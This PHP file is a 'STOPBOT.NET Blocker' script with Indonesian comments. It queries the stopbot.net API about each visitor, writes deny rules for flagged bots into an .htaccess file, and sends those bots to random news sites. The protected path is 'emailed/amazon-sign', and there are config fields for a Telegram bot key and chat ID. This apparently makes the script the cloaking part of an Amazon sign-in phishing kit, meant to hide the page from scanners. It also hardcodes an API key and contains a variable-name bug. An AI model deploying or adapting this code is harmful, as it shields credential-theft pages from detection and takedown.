<?php
/*
    STOPBOT.NET Blocker (Secure & Strong)
    Guide   : https://docs.stopbot.net/service-guides/stopbot/blocker
    Website : stopbot.net
    Contact : t.me@stopbotnet
*/

error_reporting(E_ALL);
ini_set('display_errors', 0); // 1 = debug, 0 = production

/* ===== CONFIGURATION ===== */
$configFile = "api/admin/setting.json";

function load_config($file) {
    $dir = dirname($file);

    // Buat folder jika belum ada
    if (!is_dir($dir)) {
        mkdir($dir, 0777, true);
    }

    // Buat file default jika belum ada
    if (!file_exists($file)) {
        file_put_contents($file, json_encode([
            "telegram_apikey"   => "",
            "telegram_chatid"   => "",
            "email"             => "",
            "stopbot_apikey"    => ""
        ], JSON_PRETTY_PRINT));
    }

    // Ambil isi file secara aman
    $json = @file_get_contents($file);
    if ($json === false) return [];

    $data = json_decode($json, true);
    return is_array($data) ? $data : [];
}

$config = load_config($configFile);

// Ambil stopbot_apikey dengan fallback ke static default
$Apikey = isset($config['stopbot_apikey']) && $config['stopbot_apikey'] !== ""
    ? $config['stopbot_apikey']
    : "e4efad9037309d8d74af0c9e498745c7";

$HTACCESS_PATH = __DIR__ . '/../emailed/amazon-sign/.htaccess';

$LOG_FILE = __DIR__ . '/stopbot.log';

$WHITELIST_IP = ['127.0.0.1', '::1','103.47.133.114','103.171.163.150'];

$BLACKLIST_IP = ['192.168.1.100'];

/* ===== FUNCTIONS ===== */

function uriRand() {
    $urls = [
        'https://www.google.com','https://bbc.com','https://cnn.com','https://nytimes.com',
        'https://reuters.com','https://aljazeera.com','https://theguardian.com','https://wsj.com',
        'https://forbes.com','https://bloomberg.com','https://npr.org','https://abcnews.go.com',
        'https://cnbc.com','https://marketwatch.com','https://time.com','https://usatoday.com',
        'https://msnbc.com','https://huffpost.com','https://newsweek.com','https://thehill.com',
        'https://latimes.com','https://reddit.com','https://twitter.com','https://linkedin.com'
    ];
    return $urls[array_rand($urls)];
}

function getClientIP() {
    $keys = ['HTTP_CF_CONNECTING_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','REMOTE_ADDR'];
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key]) && filter_var($_SERVER[$key], FILTER_VALIDATE_IP)) {
            return $_SERVER[$key];
        }
    }
    return '0.0.0.0';
}

function ensureHtaccess($path) {
    $dir = dirname($path);
    if (!is_dir($dir)) mkdir($dir, 0777, true);
    if (!file_exists($path)) file_put_contents($path, "# Stopbot Blocker\n");
}

function blockIP($ip, $path) {
    ensureHtaccess($path);
    file_put_contents($path, "Deny from $ip\n", FILE_APPEND | LOCK_EX);
}

function logActivity($file, $msg) {
    file_put_contents($file, "[".date("Y-m-d H:i:s")."] $msg\n", FILE_APPEND | LOCK_EX);
}

function checkStopBot($apikey, $ip, $logFile) {
    if (empty($apikey)) {
        logActivity($logFile, "API Key kosong");
        return null;
    }
    if (!function_exists('curl_init')) {
        logActivity($logFile, "cURL tidak tersedia");
        return null;
    }

    $url = "https://stopbot.net/api/blocker?apikey={$apikey}&ip={$ip}&ua=" . urlencode($_SERVER['HTTP_USER_AGENT'] ?? '') .
           "&url=" . urlencode($_SERVER['REQUEST_URI'] ?? '') . "&" . rand(1, 999999);

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => true,
        CURLOPT_ENCODING => 'gzip, deflate'
    ]);

    $res = curl_exec($ch);
    $err = curl_error($ch);
    curl_close($ch);

    if ($res === false) {
        logActivity($logFile, "cURL Error: $err");
        return null;
    }

    $json = json_decode($res, true);
    if (!is_array($json)) {
        logActivity($logFile, "Invalid response: " . substr($res, 0, 200));
        return null;
    }

    return $json;
}

/* ===== MAIN ===== */

$ip = getClientIP();
$redirect = uriRand();

if (in_array($ip, $WHITELIST_IP)) {
    logActivity($LOG_FILE, "Whitelist bypass: $ip");
    return;
}

if (in_array($ip, $BLACKLIST_IP)) {
    blockIP($ip, $HTACCESS_PATH);
    logActivity($LOG_FILE, "Manual block: $ip");
    header("Location: $redirect");
    exit;
}

$response = checkStopBot($STOPBOT_APIKEY, $ip, $LOG_FILE);
if ($response && ($response['status'] ?? '') === 'success') {
    $block = $response['IPStatus']['BlockAccess'] ?? 0;
    if ($block == 1) {
        blockIP($ip, $HTACCESS_PATH);
        logActivity($LOG_FILE, "Bot detected: $ip");
        header("Location: $redirect");
        exit;
    }
} elseif ($response && ($response['status'] ?? '') === 'error') {
    logActivity($LOG_FILE, "Stopbot error: " . ($response['message'] ?? 'Unknown'));
}

logActivity($LOG_FILE, "IP not blocked: $ip");